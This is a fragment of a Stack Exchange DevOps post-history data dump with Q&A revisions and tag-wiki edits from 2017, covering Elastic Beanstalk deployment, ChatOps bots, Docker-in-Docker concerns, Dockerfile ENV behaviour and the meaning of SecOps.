  <row Id="2159" PostHistoryTypeId="2" PostId="677" RevisionGUID="9b682361-59d8-4938-95f8-1cd5a2e919dc" CreationDate="2017-03-26T18:58:15.370" UserId="743" Text="For simple use case described I would suggest checking Elastic Beanstalk for Docker, it's not the minimal solution like bare ECS usage, but you benefit from auto-managed and configured services like ELB, EC2 AutoScale, health monitoring and much more.&#xD;&#xA;&#xD;&#xA;High-level summary:&#xD;&#xA;&#xD;&#xA; 1. Configure Elastic Beanstalk to use specific tag myimage:tested&#xD;&#xA; 2. Use Code Pipeline/Build to build, test and promote tag &quot;tested&quot;&#xD;&#xA; 3. Trigger Elastic Beanstalk deployment, which will pull of latest tagged image to all instances, different deployment strategies available.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2160" PostHistoryTypeId="6" PostId="669" RevisionGUID="ab5829f5-301c-48e6-b523-de58f5f34222" CreationDate="2017-03-26T19:08:05.723" UserId="743" Comment="edited tags" Text="&lt;jenkins&gt;&lt;docker&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2161" PostHistoryTypeId="5" PostId="677" RevisionGUID="97eebe2e-dd06-45d4-ab27-f6efa6f359b6" CreationDate="2017-03-26T19:11:01.390" UserId="743" Comment="added 7 characters in body" Text="For simple use case described I would suggest checking Elastic Beanstalk for Docker, it's not the minimal solution like bare ECS usage, but you benefit from auto-managed and configured services like ELB, EC2 AutoScale, health monitoring and much more.&#xD;&#xA;&#xD;&#xA;High-level summary:&#xD;&#xA;&#xD;&#xA; 1. Configure Elastic Beanstalk to use specific tag myimage:tested&#xD;&#xA; 2. Use Code Pipeline/Build to build, test and promote tag &quot;tested&quot;&#xD;&#xA; 3. Trigger Elastic Beanstalk deployment, which will pull promoted image myimage:tested to all instances, different deployment strategies available.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2162" PostHistoryTypeId="2" PostId="678" RevisionGUID="a2fc1b22-29f0-4e88-87f1-74759fd780e2" CreationDate="2017-03-26T19:13:43.483" UserId="397" Text="ChatOps is a very interesting topic, practically it means something very different to each team using it.  So much so that Atlassian have put together what could be considered to be a [Chat maturity model][1].&#xD;&#xA;&#xD;&#xA; 1. **Sputnik**: Trying chat out to see how it works.&#xD;&#xA; 2. **Mercury**: Starting to move to chat.&#xD;&#xA; 3. **Gemini**: Chat as the primary source of communication, experimenting with bots.&#xD;&#xA; 4. **Apollo**: Chat as the nexus of communication and work, including bots.&#xD;&#xA; 5. **Elon Musk**: Chat is the primary centre of mission critical work.&#xD;&#xA;&#xD;&#xA;With the breif lesson in ChatOps Theory over I can talk about the experiences that I personally have had with ChatOps:&#xD;&#xA;&#xD;&#xA;DevOps Support&#xD;&#xA;--------------&#xD;&#xA;&#xD;&#xA;[Slack][2] and [PagerDuty][3] has fantastic integration allowing any newly raised incidents in PagerDuty to be posted in one or more Slack Channels with information about the incident and buttons for acting upon the knowledge:&#xD;&#xA;&#xD;&#xA;[![PagerDuty in Slack][4]][4]&#xD;&#xA;&#xD;&#xA;Beyond simply connecting PagerDuty into Slack we also connected all of our monitoring and alerting tools into Slack so that it was the central point for all real and potential problems, including the ability to query [New Relic][5] directly from Chat.&#xD;&#xA;&#xD;&#xA;Chat as the Modern Command Line&#xD;&#xA;-------------------------------&#xD;&#xA;&#xD;&#xA;With another client we built custom bots that executed scripts on remote machines, we did this using a combination of calling the management APIs in Azure and running [Cluster Fork][6] commands:&#xD;&#xA;&#xD;&#xA;&gt; `@checky scale serviceA 30`: Scale ServiceA to 30 machines.&#xD;&#xA;&#xD;&#xA;&gt; `@checky kill serviceA#4` : Kill instance number for on ServiceA.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; `@checky exec serviceA#1,5 ps -awx` : run the `ps` command on serviceA instances 1 and 5 and post the output to chat&#xD;&#xA;&#xD;&#xA;StackOverflow Close Vote Reviewers&#xD;&#xA;----------------------------------&#xD;&#xA;&#xD;&#xA;We have a number of chatbots running in the [SOCVR][7] channels that help us to:&#xD;&#xA;&#xD;&#xA; - Find questions that need close votes.&#xD;&#xA; - Identify comments that contain &quot;Heat&quot; - i.e. might be offensive or lead to escallations.&#xD;&#xA; - Identify questions that are of poor quality that might need to be closed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.hipchat.com/2016/02/05/chatops-guide-evolution-adoption-significance/&#xD;&#xA;  [2]: https://slack.com/&#xD;&#xA;  [3]: https://www.pagerduty.com/&#xD;&#xA;  [4]: https://i.stack.imgur.com/iYvna.png&#xD;&#xA;  [5]: https://newrelic.com/&#xD;&#xA;  [6]: http://moo.nac.uci.edu/~hjm/clusterfork/&#xD;&#xA;  [7]: http://chat.stackoverflow.com/rooms/41570/so-close-vote-reviewers" ContentLicense="CC BY-SA 3.0" />
  <row Id="2163" PostHistoryTypeId="5" PostId="677" RevisionGUID="fe714f67-1061-4de7-87a9-fa6bc150817e" CreationDate="2017-03-26T19:18:05.620" UserId="743" Comment="added 7 characters in body" Text="For simple use case described I would suggest checking Elastic Beanstalk for Docker, it's not the minimal solution like bare ECS usage, but you benefit from auto-managed and configured services like ELB, EC2 AutoScale, health monitoring and much more.&#xD;&#xA;&#xD;&#xA;High-level summary:&#xD;&#xA;&#xD;&#xA; 1. Configure Elastic Beanstalk to use specific tag myimage:tested&#xD;&#xA; 2. Use Code Pipeline/Build to build, test and promote tag &quot;tested&quot;&#xD;&#xA; 3. Trigger Elastic Beanstalk deployment, which will pull promoted image myimage:tested to all instances, different deployment strategies available.&#xD;&#xA;&#xD;&#xA;This approach based on re-using same tag, alternative approach would be generating tag with build id, for example myimage:tested-42, this will require updating Elastic Beanstalk each time with new tag, but gives more granular control on deployed revision.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2164" PostHistoryTypeId="6" PostId="675" RevisionGUID="c0268ccb-fd2d-4070-8cdc-abb027903ed5" CreationDate="2017-03-26T19:19:39.443" UserId="397" Comment="Added ChatOps Tag - from experience this is going to be a popular topic." Text="&lt;toolchain&gt;&lt;infrastructure-as-code&gt;&lt;chatops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2165" PostHistoryTypeId="24" PostId="675" RevisionGUID="c0268ccb-fd2d-4070-8cdc-abb027903ed5" CreationDate="2017-03-26T19:19:39.443" Comment="Proposed by 397 approved by 40, 743 edit id of 200" ContentLicense="CC BY-SA 3.0" />
  <row Id="2166" PostHistoryTypeId="5" PostId="678" RevisionGUID="6015ecc2-941f-4bca-a2ee-ebd2b3de2e59" CreationDate="2017-03-26T19:20:09.987" UserId="397" Comment="Grammar Mainly and Further Reading" Text="ChatOps is an absorbing topic; practically it means something very different to each team using it.  So much so that Atlassian have put together what could be considered to be a [Chat maturity model][1].&#xD;&#xA;&#xD;&#xA; 1. **Sputnik**: Trying chat out to see how it works.&#xD;&#xA; 2. **Mercury**: Starting to move to chat.&#xD;&#xA; 3. **Gemini**: Chat as the primary source of communication, experimenting with bots.&#xD;&#xA; 4. **Apollo**: Chat as the nexus of communication and work, including bots.&#xD;&#xA; 5. **Elon Musk**: Chat is the primary centre of mission critical work.&#xD;&#xA;&#xD;&#xA;**Important:** Chat and ChatOps is very specific to an organisation, think of Chat as the Fabric for your team's bots to existing within it's the bots that provide the functionality that enables business and technical processes.&#xD;&#xA;&#xD;&#xA;With the brief lesson in ChatOps Theory over I can talk about the experiences that I have had with ChatOps:&#xD;&#xA;&#xD;&#xA;DevOps Support&#xD;&#xA;--------------&#xD;&#xA;&#xD;&#xA;[Slack][2] and [PagerDuty][3] has fantastic integration allowing any newly raised incidents in PagerDuty then posted in one or more Slack Channels with information about the incident and buttons for acting upon the knowledge:&#xD;&#xA;&#xD;&#xA;[![PagerDuty in Slack][4]][4]&#xD;&#xA;&#xD;&#xA;Beyond connecting PagerDuty and Slack we also connected all of our monitoring and alerting tools into Slack so that it was the central point for all real and potential problems, including the ability to query [New Relic][5] directly from Chat.&#xD;&#xA;&#xD;&#xA;Chat as the Modern Command Line&#xD;&#xA;-------------------------------&#xD;&#xA;&#xD;&#xA;With another client we built custom bots that executed scripts on remote machines, we did this using a combination of calling the management APIs in Azure and running [Cluster Fork][6] commands:&#xD;&#xA;&#xD;&#xA;&gt; `@checky scale serviceA 30`: Scale ServiceA to 30 machines.&#xD;&#xA;&#xD;&#xA;&gt; `@checky kill serviceA#4` : Kill instance number for on ServiceA.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; `@checky exec serviceA#1,5 ps -awx` : run the `ps` command on serviceA instances 1 and 5 and post the output to chat&#xD;&#xA;&#xD;&#xA;StackOverflow Close Vote Reviewers&#xD;&#xA;----------------------------------&#xD;&#xA;&#xD;&#xA;We have some chatbots running in the [SOCVR][7] channels that help us to:&#xD;&#xA;&#xD;&#xA; - Find questions that need close votes.&#xD;&#xA; - Identify comments that contain &quot;Heat&quot; - i.e. might be offensive or lead to escalations.&#xD;&#xA; - Identify questions that are of poor quality that might need review.&#xD;&#xA;&#xD;&#xA;Further Reading&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA; - [So, What is ChatOps? And How do I Get Started?][8]&#xD;&#xA; - [VictorOps / O'Reilly ChatOps Book][9]&#xD;&#xA; - [ChatOps Reddit][10]&#xD;&#xA; - [The Cog Book][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.hipchat.com/2016/02/05/chatops-guide-evolution-adoption-significance/&#xD;&#xA;  [2]: https://slack.com/&#xD;&#xA;  [3]: https://www.pagerduty.com/&#xD;&#xA;  [4]: https://i.stack.imgur.com/iYvna.png&#xD;&#xA;  [5]: https://newrelic.com/&#xD;&#xA;  [6]: http://moo.nac.uci.edu/~hjm/clusterfork/&#xD;&#xA;  [7]: http://chat.stackoverflow.com/rooms/41570/so-close-vote-reviewers&#xD;&#xA;  [8]: https://www.pagerduty.com/blog/what-is-chatops/&#xD;&#xA;  [9]: https://victorops.com/blog/new-chatops-book/&#xD;&#xA;  [10]: https://www.reddit.com/r/chatops/&#xD;&#xA;  [11]: http://cog-book.operable.io/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2167" PostHistoryTypeId="5" PostId="675" RevisionGUID="4ecbf93f-ad91-4fcb-9911-dcf097933491" CreationDate="2017-03-26T19:28:01.367" UserId="743" Comment="added 11 characters in body" Text="Many &quot;simple&quot; use cases shown in examples of ChatOps approach, creation of cloud instances, deployments to test environment etc., are there any use cases for production infrastructure management?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2168" PostHistoryTypeId="5" PostId="677" RevisionGUID="c5c8041b-9d18-4b34-b1fd-b783e605df91" CreationDate="2017-03-26T19:33:44.193" UserId="743" Comment="added 4 characters in body" Text="For simple use case described I would suggest checking Elastic Beanstalk for Docker, it's not the minimal solution like bare ECS usage, but you can benefit from auto-managed and configured services like ELB, EC2 AutoScale, health monitoring and much more.&#xD;&#xA;&#xD;&#xA;High-level summary:&#xD;&#xA;&#xD;&#xA; 1. Configure Elastic Beanstalk to use specific tag myimage:tested&#xD;&#xA; 2. Use Code Pipeline/Build to build, test and promote tag &quot;tested&quot;&#xD;&#xA; 3. Trigger Elastic Beanstalk deployment, which will pull promoted image myimage:tested to all instances, different deployment strategies available.&#xD;&#xA;&#xD;&#xA;This approach based on re-using same tag, alternative approach would be generating tag with build id, for example myimage:tested-42, this will require updating Elastic Beanstalk each time with new tag, but gives more granular control on deployed revision.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2171" PostHistoryTypeId="2" PostId="680" RevisionGUID="4fc475de-69b2-4ced-9fad-3f61f002bdd2" CreationDate="2017-03-26T21:27:44.327" UserId="588" Text="It depends on what you mean by &quot;log files&quot; I supposed.  If you mean the telemetry data you use to verify your system is operating correctly I would say &quot;Don't log sensitive fields.&quot;  You don't need that kind of information to alert you to high or low transaction rates, response times to your dependent services, etc.&#xD;&#xA;&#xD;&#xA;If you mean data for billing or audit purposes I would suggest you establish a write-only pipeline where the data is written but can't be read by the writer.  Then your billing and auditing  pipeline kicks in and you have the controls there to audit who looked at individual records.&#xD;&#xA;&#xD;&#xA;In the end security comes down to documented processes with their own secure log files, etc.  At some point you have to trust someone or some process since all data is written so that it can later be read." ContentLicense="CC BY-SA 3.0" />
  <row Id="2172" PostHistoryTypeId="2" PostId="681" RevisionGUID="1099a653-bcaf-4912-a331-344b90799ea6" CreationDate="2017-03-27T02:59:43.800" UserId="201" Text="# Continuous Integration Concerns&#xD;&#xA;&#xD;&#xA;In short: Docker in Docker (dind) doesn't handle concurrency well.&#xD;&#xA;&#xD;&#xA;The reason why you shouldn't use dind for CI is because Docker was designed to have exclusive access to the directory it uses for storage (normally `/var/lib/docker`). Dind doesn't respect this as all child processes use this directory concurrently. Every time you rebuild (from CI for example), anything related to your app in this directory could get wiped out and forced to start from zero. How would your users like it if they entered their payment details, clicked &quot;Purchase&quot;, and suddenly found themselves back on the login screen as if they'd never done anything? That's just not good UX. Two rebuilds occur at once? That's really going to end badly for everyone involved (including your data integrity).&#xD;&#xA;&#xD;&#xA;# Other Concerns&#xD;&#xA;&#xD;&#xA;From the link the OP posted, security concerns arise as the system will try to apply security policies in a very &quot;CSS-like&quot; fashion where a lower container could have access to an outer container's resources unless explicitly prohibited. Remember when you could access web server resources by doing something like &quot;mywebsite.com/../another_folder/private_resource.txt&quot;? Also, sometimes filesystems just don't play well with each other when they're nested in this way.&#xD;&#xA;&#xD;&#xA;# The Fix&#xD;&#xA;&#xD;&#xA;Thankfully, the blog post in the OP has a good solution for the issue. Unless your needs are not met by &quot;build/run/push Docker containers from your CI system itself running on Docker&quot;, you can use [`-v` mode][1] (add a data volume to your container) on the Docker socket (usually `/var/run/docker.sock:/var/run/docker.sock`) to allow the kind of access you need to the &quot;shared&quot; data volume. These containers will be started alongside the parent, instead of underneath, forcing synchronous IO. Now you have the same thing (almost) as dind but without the downsides that come with Docker not being build for concurrency.&#xD;&#xA;&#xD;&#xA;Reference (from OP): [Using Docker-in-Docker for your CI or testing environment? Think twice.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/tutorials/dockervolumes/#adding-a-data-volume&#xD;&#xA;  [2]: http://www3.cs.stonybrook.edu/~cse308/Section01/schedule.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2173" PostHistoryTypeId="2" PostId="682" RevisionGUID="6973e49f-d45d-4427-9811-0af93c82bc12" CreationDate="2017-03-27T03:12:59.670" UserId="829" Text="Configuration management tools are used to get a system into a known state. Deployment tools deploy new program files and program data to a system. At the end of the day, both types of tools do some combination of:&#xD;&#xA;&#xD;&#xA; - Determine the current state of the system. &#xD;&#xA; - Transfer files to the system.&#xD;&#xA; - Add or change persistent data (e.g. configuration files, database data, registry settings)&#xD;&#xA; - Start or restart programs. &#xD;&#xA; &#xD;&#xA;Configuration management tools have declarative languages which specify the state of the system. Deployment tools have imperative languages which tell the system to do things. A DevOps person needs to do both. &#xD;&#xA;&#xD;&#xA;Using the deployment tool Capistrano, it is clumsy to use its language to tell the system to ensure that the web server is active. You have to issue a command to restart the web server, and another to check to see if the web server is up. It is a kludge to get the web server into a known state. &#xD;&#xA;&#xD;&#xA;Using the configuration management tool Ansible, it is clumsy to restart a web server. The language lets you tell the web server to be &quot;up&quot;, but if you specifically want it to be restarted, you have to set its state to &quot;restarted&quot;. But there is no easy way to check if the web server has been restarted. This is a kludge in Ansible to enable one-off operations. &#xD;&#xA;&#xD;&#xA;Some folks prefer doing both types of jobs with one tool, and working around the rough edges. Other folks prefer having two tools to do almost the same thing, but without rough edges. To answer the question, &quot;appropriateness&quot; is a matter of taste. This answer explains why. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2174" PostHistoryTypeId="2" PostId="683" RevisionGUID="5e32a2c7-4da6-4c29-920e-4e15a612807f" CreationDate="2017-03-27T05:46:22.450" UserId="830" Text="Defining multiple variables separated by `/` supports only in bash and not in Dockerfile.&#xD;&#xA;According to the Dockerfile Standard you need to define each variables separately under each ENV. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2175" PostHistoryTypeId="5" PostId="683" RevisionGUID="7b2f1291-d8e3-4b81-be4f-7921eaf37e0d" CreationDate="2017-03-27T05:56:09.540" UserId="830" Comment="added 175 characters in body" Text="&#xD;&#xA;    ENV abc=hello&#xD;&#xA;    ENV abc=bye def=$abc&#xD;&#xA;    ENV ghi=$abc&#xD;&#xA;&#xD;&#xA;will result in def having a value of hello, not bye. However, ghi will have a value of bye because it is not part of the same command that set abc to bye." ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostHistoryTypeId="2" PostId="684" RevisionGUID="77819d53-f661-43e7-ab61-09f9895f0d55" CreationDate="2017-03-27T07:49:21.777" UserId="13" Text="The `ENV` keyword will be translated to `export` command (builin of the shell usually), if you remove the multi-line declaration you end up with this equivalent:&#xD;&#xA;&#xD;&#xA;    export A=123 B=$A&#xD;&#xA;&#xD;&#xA;What happens here is that when the shell parse the line to give it to `export` input, `A` is not yet exported and available as an environment variable.&#xD;&#xA;&#xD;&#xA;Step by step this will give:&#xD;&#xA;&#xD;&#xA;- You type `export A=123 B=$A` &#xD;&#xA;- The shell parse the line and pass `A=123 B=` to `export`'s stdin&#xD;&#xA;- `export` parse each argument in the form `key=value` and as such export `A` to be `123` and `B` to be empty&#xD;&#xA;&#xD;&#xA;On the second form, A is available to the shell when the line is parsed, and as such the resulting `export`'s stdin is `B=123`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="2177" PostHistoryTypeId="5" PostId="674" RevisionGUID="2900cd85-61fa-4103-b003-ccc3a31cc93c" CreationDate="2017-03-27T08:03:47.470" UserId="397" Comment="added 215 characters in body" Text="The Four Eyes Principal or Two Man Rule is a security precaution that requires at least two separate people to perform an action. It is often used to mitigate the risk of an individual acting in their own interests." ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostHistoryTypeId="24" PostId="674" RevisionGUID="2900cd85-61fa-4103-b003-ccc3a31cc93c" CreationDate="2017-03-27T08:03:47.470" Comment="Proposed by 397 approved by 40, 13 edit id of 199" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostHistoryTypeId="5" PostId="663" RevisionGUID="6818f4d9-a77d-495a-a2fc-8226b23d48cf" CreationDate="2017-03-27T08:04:00.927" UserId="397" Comment="added 557 characters in body" Text="Provisioning is the act of preparing a system to allow it to provide new services to its consumers.  Provisioning is related to the concept of [tag:infrastructure-as-code] and [tag:configuration-management].&#xD;&#xA;&#xD;&#xA;Questions about the automated creation of systems through technologies such as [Terraform][1], [AWS Cloud Formation][2] and [Azure Resource Manager][3] should have this tag.&#xD;&#xA;&#xD;&#xA;  [1]: https://terraform.io/&#xD;&#xA;  [2]: https://aws.amazon.com/cloudformation/&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/azure-resource-manager/resource-group-overview" ContentLicense="CC BY-SA 3.0" />
  <row Id="2180" PostHistoryTypeId="24" PostId="663" RevisionGUID="6818f4d9-a77d-495a-a2fc-8226b23d48cf" CreationDate="2017-03-27T08:04:00.927" Comment="Proposed by 397 approved by 40, 13 edit id of 192" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostHistoryTypeId="5" PostId="658" RevisionGUID="14a5733c-dadc-4944-9928-7288db3ff2b2" CreationDate="2017-03-27T08:04:21.853" UserId="397" Comment="added 371 characters in body" Text="Cattle vs. Pets is a description of [two ways][1] of treating infrastructure. Pets are fed, nurtured and given names ultimately resulting in unique servers that become hard to maintain.  Cattle, on the other hand, are numbers on a sheet when they don't function they are disposed of.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2182" PostHistoryTypeId="24" PostId="658" RevisionGUID="14a5733c-dadc-4944-9928-7288db3ff2b2" CreationDate="2017-03-27T08:04:21.853" Comment="Proposed by 397 approved by 40, 13 edit id of 189" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostHistoryTypeId="5" PostId="659" RevisionGUID="6d552fb5-906c-4232-ba3c-b51bcb489b9e" CreationDate="2017-03-27T08:05:00.100" UserId="397" Comment="added 277 characters in body" Text="Cattle vs. Pets is a description of two ways of treating infrastructure. Pets are fed, nurtured and given names ultimately resulting in unique servers that become hard to maintain. Cattle, on the other hand, are numbers on a sheet when they don't function they are disposed of." ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostHistoryTypeId="24" PostId="659" RevisionGUID="6d552fb5-906c-4232-ba3c-b51bcb489b9e" CreationDate="2017-03-27T08:05:00.100" Comment="Proposed by 397 approved by 40, 13 edit id of 190" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostHistoryTypeId="5" PostId="673" RevisionGUID="e6aa86a7-eee1-4291-b74e-b44e11dc5563" CreationDate="2017-03-27T08:06:41.067" UserId="397" Comment="added 282 characters in body" Text="The [**Four Eyes Principal** or **Two Man Rule**][1] is a security precaution that requires at least two separate people to perform an action.  It is often used to mitigate the risk of an individual acting in their own interests.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="2186" PostHistoryTypeId="24" PostId="673" RevisionGUID="e6aa86a7-eee1-4291-b74e-b44e11dc5563" CreationDate="2017-03-27T08:06:41.067" Comment="Proposed by 397 approved by 40, 13 edit id of 198" ContentLicense="CC BY-SA 3.0" />
  <row Id="2187" PostHistoryTypeId="5" PostId="655" RevisionGUID="9fcc9680-071f-4b61-b79c-9b337cd53ab0" CreationDate="2017-03-27T08:06:58.857" UserId="397" Comment="added 489 characters in body" Text="A [snowflake server][1] is a server that has been crafted rather than built according to a plan.  A snowflake server is usually unique or has a high probability of becoming unique over time due to inconsistent manual updates.  Snowflake servers require a high degree of manual intervention or feeding to maintain and recover.&#xD;&#xA;&#xD;&#xA;Use this tag on questions that describe practices and processes that result in snowflake servers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dzone.com/articles/martin-fowler-snowflake" ContentLicense="CC BY-SA 3.0" />
  <row Id="2188" PostHistoryTypeId="24" PostId="655" RevisionGUID="9fcc9680-071f-4b61-b79c-9b337cd53ab0" CreationDate="2017-03-27T08:06:58.857" Comment="Proposed by 397 approved by 40, 13 edit id of 187" ContentLicense="CC BY-SA 3.0" />
  <row Id="2189" PostHistoryTypeId="5" PostId="664" RevisionGUID="053b6512-7a9e-4728-9509-8c79c07cc1fa" CreationDate="2017-03-27T08:07:10.350" UserId="397" Comment="added 255 characters in body" Text="Provisioning is the act of preparing a system to allow it to provide new services to its consumers.  Questions about the automated creation of systems through technologies such as Terraform, Cloud Formation and Azure Resource Manager should have this tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="2190" PostHistoryTypeId="24" PostId="664" RevisionGUID="053b6512-7a9e-4728-9509-8c79c07cc1fa" CreationDate="2017-03-27T08:07:10.350" Comment="Proposed by 397 approved by 40, 13 edit id of 193" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostHistoryTypeId="2" PostId="685" RevisionGUID="e6ac1e29-bf10-4169-94db-176f13476f3a" CreationDate="2017-03-27T09:28:48.657" UserId="677" Text="To add to Richards answer, generally the analogy is helpful in terms of considering the impact of the loss of a server.&#xA;&#xA;If you would feel some sort of distress over the loss of any individual piece of infrastructure, then consider it a pet (read antipattern).&#xA;&#xA;If you would feel pretty comfortable knowing that if any of the fleet stopped functioning there would be no real impact to operations, then you are talking about cattle.&#xA;&#xA;It's often tempting to use the analogy to simply classify your servers, ie &quot;our workload nodes are cattle but our load balancers are pets&quot; but falling into that trap is exactly the problem. There is no place for pets in a modern computing environment (ie. In the cloud, on commodity hardware etc.) If all of your servers are considered cattle, and are easily replaceable, then you can start looking at things like chaos monkey to help build assurance that your infrastructure truly is resilient." ContentLicense="CC BY-SA 3.0" />
  <row Id="2192" PostHistoryTypeId="5" PostId="438" RevisionGUID="116ee696-5ae4-4366-839e-7ae3ab9e18e7" CreationDate="2017-03-27T09:46:07.793" UserId="40" Comment="added 260 characters in body" Text="In the SCM-world where I'm mostly familiar with, the above scenario is typically addressed by what's called the &quot;***abbreviated***-approval list procedure.&#xD;&#xA;&#xD;&#xA;Here is a blueprint of it:&#xD;&#xA;&#xD;&#xA;- Define your business hours, say from 8 am to 6 pm.&#xD;&#xA;- Define a ***complete*** approval list of (say) 3 levels of approval (for roles X, Y and Z).&#xD;&#xA;- Define an ***abbreviated*** approval list of (say) only 1 level of approval (only for roles X).&#xD;&#xA;- ***Planned changes*** always require all approvals from the complete approval list.&#xD;&#xA;- For ***Unplanned changes***, the complete approval list is used *also* to gather the required approvals, provided the approvals are to be issued *during* the defined business hours.&#xD;&#xA;- For any approvals of ***unplanned changes*** that are to be issued *outside* the defined business hours:&#xD;&#xA;  - Only the approvals from the abbreviated approval list (such as role X above) are required to authorize the change. And after the authorization by the abbreviated approval list is given, the deployment of the change (in the target environment) will actually be performed.&#xD;&#xA;  - But additional ***post***-approvals will be needed afterwards (within a reasonable amount of hours/days), i.e from all roles contained in the complete approval list (such as role Y and Z above), which are not also contained in the abbreviated approval list (such as role X above). And if within the (upfront) agreed amount of hours/days not all post-approvals have been issued (e.g because the fix worked &quot;this&quot; time, but was only like a temporary fix), then the change might be subject to a rollback. While there is at least 1 outstanding post-approval, the change is marked as &quot;waiting post approvals&quot;.&#xD;&#xA;&#xD;&#xA;With such solution in place, the call can be closed around **3:23 am** ... since there will be no more red flag at **3:21 am** ... ggggrrreat, time for a beer to celebrate my fix to get production going again (instead of coffee) ... and fingers crossed the outstanding post approvals will come in soon ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="2193" PostHistoryTypeId="2" PostId="686" RevisionGUID="fc6ae24f-3bd9-4d14-ac95-ce43b17e2336" CreationDate="2017-03-27T13:15:15.157" UserId="800" Text="First when I heard the word SecOps, I thought of it as a management approach that aims to connect security and operations teams, in much the same way that DevOps unifies developers and operations team.  &#xD;&#xA;&#xD;&#xA;But isn't security just a piece of the DevOps puzzle ?  &#xD;&#xA;DevOps already includes processes like component monitoring ,version management, benchmarking, code review, continuous monitoring ..  &#xD;&#xA;&#xD;&#xA;What other can SecOps add to a DevOps team , or is it another buzz word maybe ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2194" PostHistoryTypeId="1" PostId="686" RevisionGUID="fc6ae24f-3bd9-4d14-ac95-ce43b17e2336" CreationDate="2017-03-27T13:15:15.157" UserId="800" Text="What Is SecOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostHistoryTypeId="3" PostId="686" RevisionGUID="fc6ae24f-3bd9-4d14-ac95-ce43b17e2336" CreationDate="2017-03-27T13:15:15.157" UserId="800" Text="&lt;culture&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostHistoryTypeId="2" PostId="687" RevisionGUID="93fda3cc-2b1c-48ae-a0d3-574e3c59e45e" CreationDate="2017-03-27T13:25:58.903" UserId="743" Text="When Riemann used as system and/or application metrics collector, what are opensource tools can be used in order to implement anomaly detection monitoring?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostHistoryTypeId="1" PostId="687" RevisionGUID="93fda3cc-2b1c-48ae-a0d3-574e3c59e45e" CreationDate="2017-03-27T13:25:58.903" UserId="743" Text="What opensource solutions can be used to implement anomaly detection based on Riemann metrics?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2198" PostHistoryTypeId="3" PostId="687" RevisionGUID="93fda3cc-2b1c-48ae-a0d3-574e3c59e45e" CreationDate="2017-03-27T13:25:58.903" UserId="743" Text="&lt;monitoring&gt;&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2199" PostHistoryTypeId="2" PostId="688" RevisionGUID="bb7e75f6-abeb-4b46-987a-a8f23aa3ab9c" CreationDate="2017-03-27T13:44:58.817" UserId="13" Text="I'd agree this is a buzzword as much as Devops can be.&#xD;&#xA;&#xD;&#xA;Main task of a SecOps added on top of an usual operational engineer tasks is to take the burden of following CVE publication feeds, handling the remediations, usually handling things historically handled byt the security or network administration team (Firewall rules, Web Applications Firewall exceptions)&#xD;&#xA;&#xD;&#xA;If you see a Sysadmin in a devops org as a sysadmin able to read and be part of the application code, a SecOps would be a sysadmin able to be part of the security rules of the infrastructure around the servers themselves.&#xD;&#xA;&#xD;&#xA;In some structure keeping silos of responsibility (Sales, Business, Dev, Ops, Security, Monitoring), Security Engineer and Operation Engineers are as separated as Developers and Operations Engineers, while not embracing a full DevOps organization, moving to a SecOps model is a first step to reunite two separated team historically closer and less antagonist in the silo based organization. Some people are also more comfortable to add either the operation or security facet in their current job than growing code skills.&#xD;&#xA;&#xD;&#xA;To summarize, I would define SecOps as a first step toward a devops org, aiming at getting a multi-skill team around security/netwrok/operating systems engineers where they are separate teams in an existing department." ContentLicense="CC BY-SA 3.0" />
